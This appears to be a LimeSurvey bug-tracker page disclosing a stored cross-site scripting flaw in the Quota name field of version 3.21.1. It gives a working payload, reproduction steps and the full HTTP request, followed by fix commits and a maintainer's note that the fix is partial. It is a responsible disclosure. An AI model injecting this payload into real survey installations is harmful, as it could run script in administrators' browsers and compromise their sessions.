## View Issue Details

This bug affects 1 person(s).

10

| ID | Project | Category |
|---|---|---|
| 15681 | Bug reports | LimeSurvey Website |

| | | |
|---|---|---|
| Reporter | misheljava | Assigned To |
| Priority | none | Severity |
| Status | closed | Resolution |
| Product Version | 3.21.1 | |
| Fixed in Version | 3.21.2 | |

| | |
|---|---|
| Summary | 15681: LimeSurvey 3.21.1 Cross Site Scripting Stored |
| Description | • Title: LimeSurvey 3.21.1 Cross Site Scripting (XSS) Stored<br>• Date: 18/12/2019<br>• Author: Guram Javakhishvili<br>• Email: misheljava@gmail.com, guramj@gmail.com<br>• Software : LimeSurvey 3.21.1<br>• Product Version: 3.21.1<br>• Vulnerability Type : Injection<br>• Vulnerability : Cross Site Scripting (XSS) Stored<br>LimeSurvey latest version 3.21.1 & LimeSurvey development version 4.0.0 suffer from reflective and persistent (Stored) cross site scripting and html injection vulnerabilities.<br>Insufficient validation of user input on the authenticated part of the Limesurvey application exposes the application to persistent cross site scripting (XSS) vulnerabilities.<br>These vulnerabilities enable potentially dangerous input from the user to be accepted by the application and then embedded back in the HTML response of the page returned by the web server. |
| Steps To Reproduce | Steps to Reproduce:<br>The attacker needs the appropriate permissions but non-Admin (can be basic user role) in order to create Survey and then add Quota.<br>It was noted that the Add Quota function was found to be vulnerable to one instance of Stored Cross Site Scripting (XSS) vulnerability.<br>When the survey Quota being viewed, e.g. by an administrative user, the<br>JavaScript code will be executed in the browser.<br><br>Vulnerable parameter:<br>• Quota%5Bname%5D<br><br>XSS payload:<br>• me"onmouseover="alert('QuotaName')"style="position:absolute;width:100%;height:100%;top:0;left:0;"9e2ad//<br><br>Steps to reproduce:<br>Step 1 - Once the survey is created then open the survey and click on 'Quotas' at the bottom left hand side menu bar, click on it.<br>Once it is open then insert the above XSS payload into the Quote name field and click save. (See first screenshot)<br><br>http://localhost/limesurvey3.21.1/index.php/admin/quotas/sa/index/surveyid/158712#<br><br>You should notice XSS payload rendering in the browser straightaway. See second screenshot . |
| Additional Information | HTTP Request/Response with vulnerable parameter and the XSS payload:<br><br>POST /limesurvey3.21.1/index.php/admin/quotas/sa/newquota/surveyid/158712 HTTP/1.1<br>Host: localhost<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8<br>Accept-Language: en-GB,en;q=0.5<br>Accept-Encoding: gzip, deflate<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 632<br>Origin: http://localhost<br>Connection: close<br>Referer: http://localhost/limesurvey3.21.1/index.php/admin/quotas/sa/newquota/surveyid/158712<br>Cookie: LS-OOSUJAAJFRZHZYBG=tj260dpk0iuq6m9nkbtbcil9su; YII_CSRF_TOKEN=WkJDTFA4RDdmbUJvMVhVS0VNdXFaQzNCa2g5UnE1dnJRvylcV9_gUYN_cIoQdadDDRfuRrsY_3lxPsqhxgrh3A%3D%3D<br>Upgrade-Insecure-Requests: 1<br><br>YII_CSRF_TOKEN=WkJDTFA4RDdmbUJvMVhVS0VNdXFaQzNCa2g5UnE1dnJRvylcV9_gUYN_cIoQdadDDRfuRrsY_3lxPsqhxgrh3A%3D%3D&Quota%5Bid%5D=&Quota%5Bname%5D=Fname%22onmouseover%3D%22alert%28%27Quot<br><br>HTTP/1.1 302 Found<br>Date: Wed, 18 Dec 2019 23:47:20 GMT<br>Server: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.3.9<br>X-Powered-By: PHP/7.3.9<br>Expires: Thu, 19 Nov 1981 08:52:00 GMT<br>Cache-Control: no-store, no-cache, must-revalidate<br>Pragma: no-cache<br>Location: http://localhost/limesurvey3.21.1/index.php/admin/quotas/sa/index/surveyid/158712<br>Content-Length: 0<br>Connection: close<br>Content-Type: text/html; charset=UTF-8 |
| Tags | No tags attached. |

| | |
|---|---|
| Bug heat | 10 |
| Complete LimeSurvey version number (& build) | limesurvey3.21.1+191210 |
| I will donate to the project if issue is resolved | No |
| Browser | Chrome & Firefox |
| Database type & version | DB Server version: 10.4.6-MariaDB Database client version: libmysql - mysqlnd 5.0.12-dev - 20150407 |

| | |
|---|---|
| Server OS (if known) | |
| Webserver software & version (if known) | |
| PHP Version | PHP version: 7.3.9 |

## Users monitoring this issue

| | |
|---|---|
| User List | DenisChenu, misheljava |

## Activities

**misheljava**
2019-12-19 14:40
reporter

image.png (105,060 bytes)

image-2.png (109,496 bytes)

**~~markusfluer~~**
2019-12-19 16:37
administrator ~55096

markusfluer

Fix committed to master branch: http://bugs.limesurvey.org/plugin.php?page=Source/view&id=29294

**lime_release_bot**
2020-02-03 14:53
administrator ~55648

Fixed in Release 4.0.0+200116

**DenisChenu**
2021-06-27 17:33
developer ~65107

OK !
Partial fix only here ...

**DenisChenu**
2021-06-28 13:25
developer ~65121

17388 ?

## Related Changesets

| | | |
|---|---|---|
| LimeSurvey: master a5f31781<br>2019-12-19 16:37:11<br>~~markusfluer~~<br>Details Diff | Fixed issue ~~15681~~: LimeSurvey 3.21.1 Cross Site Scripting Stored | Affected Issues<br>~~15681~~ |
| | mod - application/views/admin/quotas/_newanswer_equation.php | Diff File |
| | mod - application/views/admin/quotas/newanswer_view.php | Diff File |
| | mod - application/views/admin/quotas/viewquotas_quota_actions.php | Diff File |
| | mod - application/views/admin/quotas/viewquotas_quota_members.php | Diff File |
| | add - third_party/vimeo/psalm | Diff File |

## Issue History

| Date Modified | Username | Field | Change |
|---|---|---|---|
| 2019-12-19 14:40 | misheljava | New Issue | |
| 2019-12-19 14:40 | misheljava | File Added: image.png | |
| 2019-12-19 14:40 | misheljava | File Added: image-2.png | |
| 2019-12-19 14:40 | misheljava | File Added: image-3.png | |
| 2019-12-19 14:58 | cdorin | View Status | public => private |
| 2019-12-19 14:58 | cdorin | Description Updated | |
| 2019-12-19 14:58 | cdorin | Steps to Reproduce Updated | |
| 2019-12-19 14:58 | cdorin | Additional Information Updated | |
| 2019-12-19 15:06 | cdorin | Assigned To | => cdorin |
| 2019-12-19 15:06 | cdorin | Status | new => assigned |
| 2019-12-19 15:22 | DenisChenu | Issue Monitored: DenisChenu | |
| 2019-12-19 16:27 | cdorin | Assigned To | cdorin => markusfluer |
| 2019-12-19 16:37 | ~~markusfluer~~ | Changeset attached | => LimeSurvey master a5f31781 |
| 2019-12-19 16:37 | ~~markusfluer~~ | Note Added: 55096 | |
| 2019-12-19 16:37 | ~~markusfluer~~ | Resolution | open => fixed |
| 2019-12-19 16:37 | ~~markusfluer~~ | Status | assigned => resolved |
| 2019-12-19 16:37 | ~~markusfluer~~ | Fixed in Version | => 3.21.2 |
| 2020-02-03 14:53 | lime_release_bot | Note Added: 55648 | |
| 2020-02-03 14:53 | lime_release_bot | Status | resolved => closed |
| 2020-03-01 20:04 | misheljava | Issue Monitored: misheljava | |
| 2020-05-04 09:43 | ollehar | View Status | private => public |

| Date Modified | Username | Field | Change |
| --- | --- | --- | --- |
| 2021-06-24 12:37 | DenisChenu | Assigned To | markusfluer => galads |
| 2021-06-24 12:37 | DenisChenu | Status | closed => feedback |
| 2021-06-24 12:37 | DenisChenu | Resolution | fixed => reopened |
| 2021-06-27 17:33 | DenisChenu | Note Added: 65107 | |
| 2021-06-27 17:33 | DenisChenu | Status | feedback => closed |
| 2021-06-28 13:25 | DenisChenu | Note Added: 65121 | |